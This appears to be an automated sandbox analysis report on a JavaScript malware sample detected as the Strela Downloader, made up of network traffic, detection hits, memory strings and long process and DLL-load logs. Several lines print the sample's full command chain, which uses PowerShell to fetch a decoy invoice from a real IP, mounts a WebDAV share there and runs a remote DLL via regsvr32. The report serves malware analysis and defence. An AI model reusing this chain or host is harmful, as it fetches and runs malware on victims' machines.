TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2048938250.0000028FD9E76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2117696455.000001F3706B7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117898872.000001F37070C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117789475.000001F3706E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2113133000.000001F3706E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2107631748.000001F37070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2117696455.000001F3706B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/S
Source: net.exe, 00000007.00000002.2117789475.000001F3706E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2113133000.000001F3706E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/h&
Source: net.exe, 00000007.00000002.2117696455.000001F3706B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sace
Source: svchost.exe, 00000009.00000002.3340407086.0000020039EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2110050673.000002003F400000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5044, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 316517466273709266.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6548:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tofhj11b.gb1.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1736,i,9463198681021294956,11538559822545005153,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1736,i,9463198681021294956,11538559822545005153,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
